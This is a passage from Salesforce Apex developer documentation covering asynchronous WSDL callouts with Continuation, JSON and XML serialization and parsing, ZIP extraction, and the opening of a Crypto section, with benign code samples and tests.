Note: The response of a continuation must be retrieved before you create a new continuation and before the Visualforce request is suspended again. You can't retrieve an old response from an earlier continuation in the chain of continuations.

Making an Asynchronous Callout from an Imported WSDL

In addition to `HttpRequest`-based callouts, asynchronous callouts are supported in Web service calls that are made from WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for using the `HttpRequest` class.

When you import a WSDL in Salesforce, Salesforce autogenerates two Apex classes for each namespace in the imported WSDL. One class is the service class for the synchronous service, and the other is a modified version for the asynchronous service. The autogenerated asynchronous class name starts with the `Async` prefix and has the format `AsyncServiceName`. *ServiceName* is the name of the original unmodified service class. The asynchronous class differs from the standard class in the following ways.

- The public service methods contain an extra `Continuation` parameter as the first parameter.
- The Web service operations are invoked asynchronously and their responses are obtained with the `getValue` method of the response element.

- The `WebServiceCallout.beginInvoke` and `WebServiceCallout.endInvoke` are used to invoke the service and get the response respectively.

You can generate Apex classes from a WSDL in the Salesforce user interface. From Setup, enter **Apex Classes** in the **Quick Find** box, then select **Apex Classes**.

To make asynchronous Web service callouts, call the methods on the autogenerated asynchronous class by passing your `Continuation` instance to these methods. The following example is based on a hypothetical stock-quote service. This example assumes that the organization has a class, called `AsyncSOAPStockQuoteService`, that was autogenerated via a WSDL import. The example shows how to make an asynchronous callout to the service by using the autogenerated `AsyncSOAPStockQuoteService` class. First, this example creates a continuation with a 60-second timeout and sets the callback method. Next, the code example invokes the `beginStockQuote` method by passing it the `Continuation` instance. The `beginStockQuote` method call corresponds to an asynchronous callout execution.

```
public Continuation startRequest() {
    Integer TIMEOUT_INT_SECS = 60;
    Continuation cont = new Continuation(TIMEOUT_INT_SECS);
    cont.continuationMethod = 'processResponse';

    AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
        stockQuoteService =
        new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
    stockQuoteFuture = stockQuoteService.beginStockQuote(cont, 'CRM');

    return cont;
}
```

When the external service returns the response of the asynchronous callout (the `beginStockQuote` method), this callback method is executed. It gets the response by calling the `getValue` method on the response object.

```
public Object processResponse() {
    result = stockQuoteFuture.getValue();
    return null;
}
```

The following is the entire controller with the action and callback methods.

```
public class ContinuationSOAPController {

    AsyncSOAPStockQuoteService.GetStockQuoteResponse_elementFuture
        stockQuoteFuture;
    public String result {get;set;}

    // Action method
    public Continuation startRequest() {
        Integer TIMEOUT_INT_SECS = 60;
        Continuation cont = new Continuation(TIMEOUT_INT_SECS);
        cont.continuationMethod = 'processResponse';

        AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
            stockQuoteService =
            new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
        stockQuoteFuture = stockQuoteService.beginGetStockQuote(cont, 'CRM');
        return cont;
    }
}
```



```
// Callback method
public Object processResponse() {
    result = stockQuoteFuture.getValue();
    // Return null to re-render the original Visualforce page
    return null;
}
}
```

This example shows the corresponding Visualforce page that invokes the `startRequest` method and displays the result field.

```
<apex:page controller="ContinuationSOAPController" showChat="false" showHeader="false">
    <apex:form >
        <!-- Invokes the action method when the user clicks this button. -->
        <apex:commandButton action="{!startRequest}"
            value="Start Request" reRender="result"/>
    </apex:form>

    <!-- This output text component displays the callout response body. -->
    <apex:outputText value="{!result}" />
</apex:page>
```

Testing WSDL-Based Asynchronous Callouts

Testing asynchronous callouts that are based on Apex classes from a WSDL is similar to the process that's used with callouts that are based on the `HttpRequest` class. Before you test `ContinuationSOAPController.cls`, create a class that implements `WebServiceMock`. This class enables safe testing for `ContinuationTestForWSDL.cls`, which we'll create in a moment, by enabling a mock continuation and making sure that the test has no real effect.

```
public class AsyncSOAPStockQuoteServiceMockImpl implements WebServiceMock {
    public void doInvoke(
        Object stub,
        Object request,
        Map<String, Object> response,
        String endpoint,
        String soapAction,
        String requestName,
        String responseNS,
        String responseName,
        String responseType) {
        // do nothing
    }
}
```

This example is the test class that corresponds to the `ContinuationSOAPController` controller. The test method in the class sets a fake response and invokes a mock continuation. The callout isn't sent to the external service. To perform a mock callout, the test calls these methods of the `Test` class: `Test.setContinuationResponse()` and `Test.invokeContinuationMethod()`.

```
@isTest
public class ContinuationTestingForWSDL {
    public static testmethod void testWebService() {

        ContinuationSOAPController demoWSDLClass =
            new ContinuationSOAPController();

        // Invoke the continuation by calling the action method
```

```

Continuation conti = demoWSDLClass.startRequest();

// Verify that the continuation has the proper requests
Map<String, HttpRequest> requests = conti.getRequests();
System.assertEquals(requests.size(), 1);

// Perform mock callout
// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('<SOAP:Envelope '
    + ' xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">'
    + '<SOAP:Body>'
    + '<m:getStockQuoteResponse '
    + 'xmlns:m="http://soap.sforce.com/schemas/class/StockQuoteServiceSoap">'
    + '<m:result>Mock response body</m:result>'
    + '</m:getStockQuoteResponse>'
    + '</SOAP:Body>'
    + '</SOAP:Envelope>');

// Set the fake response for the continuation
String requestLabel = requests.keySet().iterator().next();
Test.setContinuationResponse(requestLabel, response);

// Invoke callback method
Object result = Test.invokeContinuationMethod(demoWSDLClass, conti);
System.debug(demoWSDLClass);

// result is the return value of the callback
System.assertEquals(null, result);

// Verify that the controller's result variable
// is set to the mock response.
System.assertEquals('Mock response body', demoWSDLClass.result);
}
}

```

JSON Support

JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of serialized JSON content.

Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes available.

Class	Description
System.JSON	Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the <code>serialize</code> method in this class.
System.JSONGenerator	Contains methods used to serialize objects into JSON content using the standard JSON encoding.
System.JSONParser	Represents a parser for JSON-encoded content.

The `System.JSONToken` enumeration contains the tokens used for JSON parsing.

Methods in these classes throw a `JSONException` if an issue is encountered during execution.

JSON Support Considerations

- JSON serialization and deserialization support is available for `sObjects` (standard objects and custom objects), Apex primitive and collection types, return types of Database methods (such as `SaveResult` and `DeleteResult`), and instances of your Apex classes.
- Only custom objects, which are `sObject` types of managed packages can be serialized from code that is external to the managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
- A Map object is serializable into JSON only if it uses one of the following data types as a key.
 - [Boolean](#)
 - [Date](#)
 - [DateTime](#)
 - [Decimal](#)
 - [Double](#)
 - [Enum](#)
 - [Id](#)
 - [Integer](#)
 - [Long](#)
 - [String](#)
 - [Time](#)
- When an object is declared as the parent type but is set to an instance of the subtype, some data can be lost. The object gets serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
- An object that has a reference to itself won't get serialized and causes a `JSONException` to be thrown.
- Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to be generated.
- The `System.JSONParser` data type isn't serializable. If you try to create an instance of a serializable class, such as a Visualforce controller, that has a member variable of type `System.JSONParser`, you receive an exception. To use `JSONParser` in a serializable class, use a local variable instead in your method.

Versioned Behavior Changes

In API version 63.0 and later, JSON serialization of custom exceptions and most built-in exceptions isn't supported. Attempting to serialize an exception throws an error: `Type unsupported in JSON: MyException`.

In API version 53.0 and later, `DateTime` format and processing has been updated. The API correctly handles `DateTime` values in JSON requests that use more than 3 digits after the decimal point. Requests that use an unsupported `DateTime` format (such as `123456000`) result in an error. Salesforce recommends that you strictly adhere to `DateTime` formats specified in [Valid Date and DateTime Formats](#).

[Roundtrip Serialization and Deserialization](#)

Use the `JSON` class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable you to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.

[JSON Generator](#)

Using the `JSONGenerator` class methods, you can generate standard JSON-encoded content.

JSON Parsing

Use the `JSONParser` class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted response that's returned from a call to an external service, such as a web service callout.

Roundtrip Serialization and Deserialization

Use the `JSON` class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable you to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.

Example: Serialize and Deserialize a List of Invoices

This example creates a list of `InvoiceStatement` objects and serializes the list. Next, the serialized JSON string is used to deserialize the list again and the sample verifies that the new list contains the same invoices that were present in the original list.

```
public class JSONRoundTripSample {

    public class InvoiceStatement {
        Long invoiceNumber;
        Datetime statementDate;
        Decimal totalPrice;

        public InvoiceStatement(Long i, Datetime dt, Decimal price)
        {
            invoiceNumber = i;
            statementDate = dt;
            totalPrice = price;
        }
    }

    public static void SerializeRoundtrip() {
        Datetime dt = Datetime.now();
        // Create a few invoices.
        InvoiceStatement inv1 = new InvoiceStatement(1, Datetime.valueOf(dt), 1000);
        InvoiceStatement inv2 = new InvoiceStatement(2, Datetime.valueOf(dt), 500);
        // Add the invoices to a list.
        List<InvoiceStatement> invoices = new List<InvoiceStatement>();
        invoices.add(inv1);
        invoices.add(inv2);

        // Serialize the list of InvoiceStatement objects.
        String jsonString = JSON.serialize(invoices);
        System.debug('Serialized list of invoices into JSON format: ' + jsonString);

        // Deserialize the list of invoices from the JSON string.
        List<InvoiceStatement> deserializedInvoices =
            (List<InvoiceStatement>) JSON.deserialize(jsonString, List<InvoiceStatement>.class);

        System.assertEquals(invoices.size(), deserializedInvoices.size());
        Integer i=0;
        for (InvoiceStatement deserializedInvoice : deserializedInvoices) {
            system.debug('Deserialized: ' + deserializedInvoice.invoiceNumber + ', '
                + deserializedInvoice.statementDate.formatGMT('MM/dd/yyyy HH:mm:ss.SSS')
                + ', ' + deserializedInvoice.totalPrice);
        }
    }
}
```

```

        system.debug('Original:' + invoices[i].invoiceNumber + ', '
+ invoices[i].statementDate.formatGMT('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + invoices[i].totalPrice);
        i++;
    }
}

```

JSON Serialization Considerations

The behavior of the `serialize` method differs depending on the Salesforce API version of the Apex code saved.

Serialization of queried sObject with additional fields set

For Apex saved using Salesforce API version 27.0 and earlier, if queried sObjects have additional fields set, these fields aren't included in the serialized JSON string returned by the `serialize` method. Starting with Apex saved using Salesforce API version 28.0, the additional fields are included in the serialized JSON string.

This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement verifies that the JSON string contains the additional field. The assertion passes for Apex saved using Salesforce API version 28.0 and later.

```

Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1];
// Set additional field
con.FirstName = 'Joe';
String jsonString = Json.serialize(con);
System.debug(jsonString);
System.assert(jsonString.contains('Joe') == true);

```

Serialization of aggregate query result fields

For Apex saved using Salesforce API version 27.0, results of aggregate queries don't include the fields in the SELECT statement when serialized using the `serialize` method. For earlier API versions or for API version 28.0 and later, serialized aggregate query results include all fields in the SELECT statement.

This aggregate query returns two fields: the count of ID fields and the account name.

```

String jsonString = JSON.serialize(
    Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name !=
null GROUP BY Account.Name LIMIT 1'));
System.debug(jsonString);

// Expected output in API v 26 and earlier or v28 and later
// [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"]}

```

Serialization of empty fields

Starting with API version 28.0, null fields aren't serialized and aren't included in the JSON string, unlike in earlier versions. This change doesn't affect deserializing JSON strings with JSON methods, such as [Json.deserialize\(\)](#). This change is noticeable when you inspect the JSON string. For example:

```

String jsonString = JSON.serialize(
    [SELECT Id, Name, Website FROM Account WHERE Website = null LIMIT 1]);
System.debug(jsonString);

// In v27.0 and earlier, the string includes the null field and looks like the following.
// {"attributes":{"..."},"Id":"001D000000Jsm0WIAR","Name":"Acme","Website":null}

// In v28.0 and later, the string doesn't include the null field and looks like

```

```
// the following.
// {"attributes":{...}, "Name":"Acme", "Id":"001D000000Jsm0WIAR"}}
```

Serialization of IDs

In API version 34.0 and earlier, ID comparison using `==` fails for IDs that have been through roundtrip JSON serialization and deserialization.

JSON Deserialization Considerations

JSON from aggregate results can't be deserialized back into Apex `AggregateResult` objects because they have no named fields.

SEE ALSO:

[Apex Reference Guide: JSON Class](#)

JSON Generator

Using the `JSONGenerator` class methods, you can generate standard JSON-encoded content.

You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the `JSONGenerator` class.

JSONGenerator Sample

This example generates a JSON string in pretty print format by using the methods of the `JSONGenerator` class. The example first adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly. Next, it adds the `A` object into the `Object A` field, which also gets deserialized.

```
public class JSONGeneratorSample{

    public class A {
        String str;

        public A(String s) { str = s; }
    }

    static void generateJSONContent() {
        // Create a JSONGenerator object.
        // Pass true to the constructor for pretty print formatting.
        JSONGenerator gen = JSON.createGenerator(true);

        // Create a list of integers to write to the JSON string.
        List<integer> intlist = new List<integer>();
        intlist.add(1);
        intlist.add(2);
        intlist.add(3);

        // Create an object to write to the JSON string.
        A x = new A('X');

        // Write data to the JSON string.
        gen.writeStartObject();
        gen.writeNumberField('abc', 1.21);
        gen.writeStringField('def', 'xyz');
```

```

        gen.writeFieldName('ghi');
        gen.writeStartObject();

        gen.writeObjectField('aaa', intlist);

        gen.writeEndObject();

        gen.writeFieldName('Object A');

        gen.writeObject(x);

        gen.writeEndObject();

        // Get the JSON string.
        String pretty = gen.getAsString();

        System.assertEquals('{\n' +
            '  "abc" : 1.21,\n' +
            '  "def" : "xyz",\n' +
            '  "ghi" : {\n' +
            '    "aaa" : [ 1, 2, 3 ]\n' +
            '  },\n' +
            '  "Object A" : {\n' +
            '    "str" : "X"\n' +
            '  }\n' +
            '}', pretty);
    }
}

```

SEE ALSO:

[Apex Reference Guide: JSONGenerator Class](#)

JSON Parsing

Use the `JSONParser` class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted response that's returned from a call to an external service, such as a web service callout.

The following are samples that show how to parse JSON strings.

Example: Parsing a JSON Response from a Web Service Callout

This example parses a JSON-formatted response using `JSONParser` methods. It makes a callout to a web service that returns a response in JSON format. Next, the response is parsed to build up a map from api version numbers to the release labels.

```

public class JSONParserUtil {
    public static void parseJSONResponse() {

        // Create HTTP request to send.
        HttpRequest request = new HttpRequest();
        // Set the endpoint URL.
        String endpoint = URL.getOrgDomainUrl().toExternalForm() + '/services/data';
        request.setEndPoint(endpoint);
        // Set the HTTP verb to GET.
    }
}

```

```

request.setMethod('GET');
// Set the request header for JSON content type
request.setHeader('Accept', 'application/json');

// Send the HTTP request and get the response.
// The response is in JSON format.
Http httpProtocol = new Http();
HttpResponse response = httpProtocol.send(request);
System.debug(response.getBody());
/* The JSON response returned is the following:
    {"label":"Summer '14","url":"/services/data/v31.0","version":"31.0"},
    {"label":"Winter '15","url":"/services/data/v32.0","version":"32.0"},
    {"label":"Spring '15","url":"/services/data/v33.0","version":"33.0"},
*/
// Parse JSON response to build a map from API version numbers to labels
JSONParser parser = JSON.createParser(response.getBody());
Map<double, string> apiVersionToReleaseNameMap = new Map<double, string>();

string label = null;
double version = null;

while (parser.nextToken() != null) {

    if (parser.getCurrentToken() == JSONToken.FIELD_NAME) {
        switch on parser.getText() {
            when 'label' {
                // Advance to the label value.
                parser.nextToken();
                label = parser.getText();
            }
            when 'version' {
                // Advance to the version value.
                parser.nextToken();
                version = Double.valueOf(parser.getText());
            }
        }
    }

    if(version != null && String.isEmpty(label)) {
        apiVersionToReleaseNameMap.put(version, label);
        version = null;
        label = null;
    }
}
system.debug('Release with Rainbow logo = ' +
    apiVersionToReleaseNameMap.get(39.0D));
}

```

Example: Parse a JSON String and Deserialize It into Objects

This example uses a hardcoded JSON string, which is the same JSON string returned by the callout in the previous example. In this example, the entire string is parsed into `Invoice` objects using the `readValueAs` method. This code also uses the `skipChildren` method to skip the child array and child objects and parse the next sibling invoice in the list. The parsed objects are instances of the

Invoice class that is defined as an inner class. Because each invoice contains line items, the class that represents the corresponding line item type, the `LineItem` class, is also defined as an inner class. Add this sample code to a class to use it.

```
public static void parseJSONString() {
    String jsonStr =
        '{"invoiceList":[' +
        '{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
            '{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
            '{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}], ' +
            '"invoiceNumber":1},' +
        '{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
            '{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
            '{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
            '{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}], "invoiceNumber":2}' +
        ']}';

    // Parse entire JSON response.
    JSONParser parser = JSON.createParser(jsonStr);
    while (parser.nextToken() != null) {
        // Start at the array of invoices.
        if (parser.getCurrentToken() == JSONToken.START_ARRAY) {
            while (parser.nextToken() != null) {
                // Advance to the start object marker to
                // find next invoice statement object.
                if (parser.getCurrentToken() == JSONToken.START_OBJECT) {
                    // Read entire invoice object, including its array of line items.
                    Invoice inv = (Invoice)parser.readValueAs(Invoice.class);
                    system.debug('Invoice number: ' + inv.invoiceNumber);
                    system.debug('Size of list items: ' + inv.lineItems.size());
                    // For debugging purposes, serialize again to verify what was parsed.

                    String s = JSON.serialize(inv);
                    system.debug('Serialized invoice: ' + s);

                    // Skip the child start array and start object markers.
                    parser.skipChildren();
                }
            }
        }
    }
}

// Inner classes used for serialization by readValuesAs().

public class Invoice {
    public Double totalPrice;
    public DateTime statementDate;
    public Long invoiceNumber;
    List<LineItem> lineItems;

    public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) {
        totalPrice = price;
        statementDate = dt;
        invoiceNumber = invNumber;
        lineItems = liList.clone();
    }
}
```

```
    }  
}  
  
public class LineItem {  
    public Double unitPrice;  
    public Double quantity;  
    public String productName;  
}
```

SEE ALSO:

[Apex Reference Guide: JSONParser Class](#)

XML Support

Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.

This section contains details about XML support.

[Reading and Writing XML Using Streams](#)

Apex provides classes for reading and writing XML content using streams.

[Reading and Writing XML Using the DOM](#)

Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).

Reading and Writing XML Using Streams

Apex provides classes for reading and writing XML content using streams.

The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML content.

[Reading XML Using Streams](#)

The XMLStreamReader class methods enable forward, read-only access to XML data.

[Writing XML Using Streams](#)

The XmlStreamWriter class methods enable the writing of XML data.

Reading XML Using Streams

The XMLStreamReader class methods enable forward, read-only access to XML data.

Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. You can parse nested XML content that's up to 50 nodes deep. The following example shows how to instantiate a new XmlStreamReader object:

```
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';  
XmlStreamReader xsr = new XmlStreamReader(xmlString);
```

These methods work on the following XML events:

- An *attribute* event is specified for a particular element. For example, the element `<book>` has an attribute `title`: `<book title="Salesforce.com for Dummies">`.
- A *start element* event is the opening tag for an element, for example `<book>`.
- An *end element* event is the closing tag for an element, for example `</book>`.

- A *start document* event is the opening tag for a document.
- An *end document* event is the closing tag for a document.
- An *entity reference* is an entity reference in the code, for example `!ENTITY title = "My Book Title"`.
- A *characters* event is a text character.
- A *comment* event is a comment in the XML file.

Use the `next` and `hasNext` methods to iterate over XML data. Access data in XML using `get` methods such as the `getNamespace` method.

When iterating over the XML data, always check that stream data is available using `hasNext` before calling `next` to avoid attempting to read past the end of the XML data.

XmlStreamReader Example

The following example processes an XML string.

```
public class XmlStreamReaderDemo {

    // Create a class Book for processing
    public class Book {
        String name;
        String author;
    }

    public Book[] parseBooks(XmlStreamReader reader) {
        Book[] books = new Book[0];
        boolean isSafeToGetNextXmlElement = true;
        while(isSafeToGetNextXmlElement) {
            // Start at the beginning of the book and make sure that it is a book
            if (reader.getEventType() == XmlTag.START_ELEMENT) {
                if ('Book' == reader.getLocalName()) {
                    // Pass the book to the parseBook method (below)
                    Book book = parseBook(reader);
                    books.add(book);
                }
            }
            // Always use hasNext() before calling next() to confirm
            // that we have not reached the end of the stream
            if (reader.hasNext()) {
                reader.next();
            } else {
                isSafeToGetNextXmlElement = false;
                break;
            }
        }
        return books;
    }

    // Parse through the XML, determine the author and the characters
    Book parseBook(XmlStreamReader reader) {
        Book book = new Book();
        book.author = reader.getAttributeValue(null, 'author');
        boolean isSafeToGetNextXmlElement = true;
        while(isSafeToGetNextXmlElement) {
```

```

        if (reader.getEventType() == XmlTag.END_ELEMENT) {
            break;
        } else if (reader.getEventType() == XmlTag.CHARACTERS) {
            book.name = reader.getText();
        }
        // Always use hasNext() before calling next() to confirm
        // that we have not reached the end of the stream
        if (reader.hasNext()) {
            reader.next();
        } else {
            isSafeToGetNextXmlElement = false;
            break;
        }
    }
    return book;
}
}

```

```

@Test
private class XmlStreamReaderDemoTest {
    // Test that the XML string contains specific values
    static testMethod void testBookParser() {

        XmlStreamReaderDemo demo = new XmlStreamReaderDemo();

        String str = '<books><book author="Chatty">Alpha beta</book>' +
            '<book author="Sassy">Baz</book></books>';

        XmlStreamReader reader = new XmlStreamReader(str);
        XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader);

        System.debug(books.size());

        for (XmlStreamReaderDemo.Book book : books) {
            System.debug(book);
        }
    }
}

```

SEE ALSO:

[Apex Reference Guide: XmlStreamReader Class](#)

Writing XML Using Streams

The `XmlStreamWriter` class methods enable the writing of XML data.

Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request to an external service. The following example shows how to instantiate a new `XmlStreamReader` object:

```

String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);

```

XML Writer Methods Example

The following example writes an XML document and tests its validity.

This Hello World sample requires custom objects. You can either create these objects on your own, or download the objects and Apex code as an unmanaged package from AppExchange. To obtain the sample assets in your org, install the [Apex Tutorials Package](#). This package also contains sample code and objects for the Shipping Invoice example.

```
public class XmlWriterDemo {

    public String getXml() {
        XmlStreamWriter w = new XmlStreamWriter();
        w.writeStartDocument(null, '1.0');
        w.writeProcessingInstruction('target', 'data');
        w.writeStartElement('m', 'Library', 'http://www.book.com');
        w.writeNamespace('m', 'http://www.book.com');
        w.writeComment('Book starts here');
        w.setDefaultNamespace('http://www.defns.com');
        w.writeCdata('<Cdata> I like CData </Cdata>');
        w.writeStartElement(null, 'book', null);
        w.writedefaultNamespace('http://www.defns.com');
        w.writeAttribute(null, null, 'author', 'Manoj');
        w.writeCharacters('This is my book');
        w.writeEndElement(); //end book
        w.writeEmptyElement(null, 'ISBN', null);
        w.writeEndElement(); //end library
        w.writeEndDocument();
        String xmlOutput = w.getXmlString();
        w.close();
        return xmlOutput;
    }
}
```

```
@isTest
private class XmlWriterDemoTest {
    static TestMethod void basicTest() {
        XmlWriterDemo demo = new XmlWriterDemo();
        String result = demo.getXml();
        String expected = '<?xml version="1.0"?><?target data?>' +
            '<m:Library xmlns:m="http://www.book.com">' +
            '<!--Book starts here-->' +
            '<![CDATA[<Cdata> I like CData </Cdata>]]>' +
            '<book xmlns="http://www.defns.com" author="Manoj">This is my'
            'book</book><ISBN/></m:Library>';

        System.assert(result == expected);
    }
}
```

SEE ALSO:

[Apex Reference Guide: XmlStreamWriter Class](#)

Reading and Writing XML Using the DOM

Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).

DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One common application is to use the classes to generate the body of a request created by [HttpRequest](#) or to parse a response accessed by [HttpResponse](#). The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children. You can parse nested XML content that's up to 50 nodes deep.

The DOM classes are contained in the `Dom` namespace.

Use the [Document Class](#) to process the content in the body of the XML document.

Use the [XmlNode Class](#) to work with a node in the XML document.

Use the `Document Class` class to process XML content. One common application is to use it to create the body of a request for [HttpRequest](#) or to parse a response accessed by [HttpResponse](#).

XML Namespaces

An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.

The following XML element has a namespace of `http://my.name.space` and a prefix of `myprefix`.

```
<sampleElement xmlns:myprefix="http://my.name.space" />
```

In the following example, the XML element has two attributes:

- The first attribute has a key of `dimension`; the value is `2`.
- The second attribute has a key namespace of `http://ns1`; the value namespace is `http://ns2`; the key is `example`; the value is `test`.

```
<square dimension="2" ns1:example="ns2:test" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />
```

Document Example

For the purposes of the sample below, assume that the `url` argument passed into the `parseResponseDom` method returns this XML response:

```
<address>
  <name>Kirk Stevens</name>
  <street1>808 State St</street1>
  <street2>Apt. 2</street2>
  <city>Palookaville</city>
  <state>PA</state>
  <country>USA</country>
</address>
```

The following example illustrates how to use DOM classes to parse the XML response returned in the body of a `GET` request:

```
public class DomDocument {

    // Pass in the URL for the request
    // For the purposes of this sample, assume that the URL
```

```
// returns the XML shown above in the response body
public void parseResponseDom(String url){
    Http h = new Http();
    HttpRequest req = new HttpRequest();
    // url that returns the XML in the response body
    req.setEndpoint(url);
    req.setMethod('GET');
    HttpResponse res = h.send(req);
    Dom.Document doc = res.getBodyDocument();

    //Retrieve the root element for this document.
    Dom.XMLNode address = doc.getRootElement();

    String name = address.getChildElement('name', null).getText();
    String state = address.getChildElement('state', null).getText();
    // print out specific elements
    System.debug('Name: ' + name);
    System.debug('State: ' + state);

    // Alternatively, loop through the child elements.
    // This prints out all the elements of the address
    for(Dom.XMLNode child : address.getChildElements()) {
        System.debug(child.getText());
    }
}
```

Using XML Nodes

Use the `XmlNode` class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.

There are different types of DOM nodes available in Apex. `XmlNodeType` is an enum of these different types. The values are:

- COMMENT
- ELEMENT
- TEXT

It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:

```
<name>
  <firstName>Suvain</firstName>
  <lastName>Singh</lastName>
</name>
```

This example contains three XML elements: `name`, `firstName`, and `lastName`. It contains five nodes: the three `name`, `firstName`, and `lastName` element nodes, as well as two text nodes—`Suvain` and `Singh`. Note that the text within an element node is considered to be a separate text node.

For more information about the methods shared by all enums, see [Enum Methods](#).

XmlNode Example

This example shows how to use XmlNode methods and namespaces to create an XML request.

```
public class DomNamespaceSample
{
    public void sendRequest(String endpoint)
    {
        // Create the request envelope
        DOM.Document doc = new DOM.Document();

        String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';
        String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
        String serviceNS = 'http://www.myservice.com/services/MyService/';

        dom.XmlNode envelope
            = doc.createElement('Envelope', soapNS, 'soapenv');
        envelope.setNamespace('xsi', xsi);
        envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);

        dom.XmlNode body
            = envelope.addChildElement('Body', soapNS, null);

        body.addChildElement('echo', serviceNS, 'req').
            addChildElement('category', serviceNS, null).
            addTextNode('classifieds');

        System.debug(doc.toXmlString());

        // Send the request
        HttpRequest req = new HttpRequest();
        req.setMethod('POST');
        req.setEndpoint(endpoint);
        req.setHeader('Content-Type', 'text/xml');

        req.setBodyDocument(doc);

        Http http = new Http();
        HttpResponse res = http.send(req);

        System.assertEquals(200, res.getStatusCode());

        dom.Document resDoc = res.getBodyDocument();

        envelope = resDoc.getRootElement();

        String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';

        dom.XmlNode header = envelope.getChildElement('Header', soapNS);
        System.assert(header != null);

        String messageId
            = header.getChildElement('MessageID', wsa).getText();

        System.debug(messageId);
    }
}
```



```

System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);

System.assertEquals(
    'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
    header.getChildElement(
        'ReplyTo', wsa).getChildElement('Address', wsa).getText());

System.assertEquals(
    envelope.getChildElement('Body', soapNS).
        getChildElement('echo', serviceNS).
        getChildElement('something', 'http://something.else').
        getChildElement(
            'whatever', serviceNS).getAttribute('bb', null),
    'cc');

System.assertEquals('classifieds',
    envelope.getChildElement('Body', soapNS).
        getChildElement('echo', serviceNS).
        getChildElement('category', serviceNS).getText());
}
}

```

SEE ALSO:

[Apex Reference Guide: Document Class](#)

ZIP Support

Take advantage of a native Apex Zip library to create and extract ZIP archive files by using the class methods in the `Compression` namespace.

You can compress multiple attachments or documents into an Apex blob that contains the ZIP archive. You can also specify the data to be extracted from the zip archive, without uncompressing the entire ZIP archive. To optimize compression, you can specify a compression method and compression level.

This example code extracts a JSON translation file from a callout response containing a ZIP archive by getting and extracting the specified entry from the ZIP archive.

```

HttpRequest request = new HttpRequest();
request.setEndpoint('callout:My_Named_Credential/translationService');
request.setMethod('POST');
// Set request payload to translate...

HttpResponse response = new Http().send(request);
Blob translationZip = response.getBodyAsBlob();

ZipReader reader = new ZipReader(translationZip);

```

```
ZipEntry frTranslation = reader.getEntry('translations/fr.json');
Blob frTranslationData = reader.extractEntry(frTranslation);
```

SEE ALSO:

[Apex Reference Guide: Compression NameSpace](#)

Securing Your Data

You can secure your data by using the methods provided by the `Crypto` class.

The methods in the `Crypto` class provide standard algorithms for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information. These algorithms can be used for securing content in Salesforce or for integrating with external services such as Google or Amazon WebServices (AWS).



Note: The code excerpts on this page are written to highlight the use of the `Crypto` class. A production-level implementation would incorporate more plaintext key security. Refer to [Strengthen Your Data's Security with Shield Platform Encryption in Salesforce Help](#).

Example Integrating Amazon WebServices

This example demonstrates an integration of Amazon WebServices with Salesforce.

```
public class HMacAuthCallout {

    public void testAlexaWSForAmazon() {

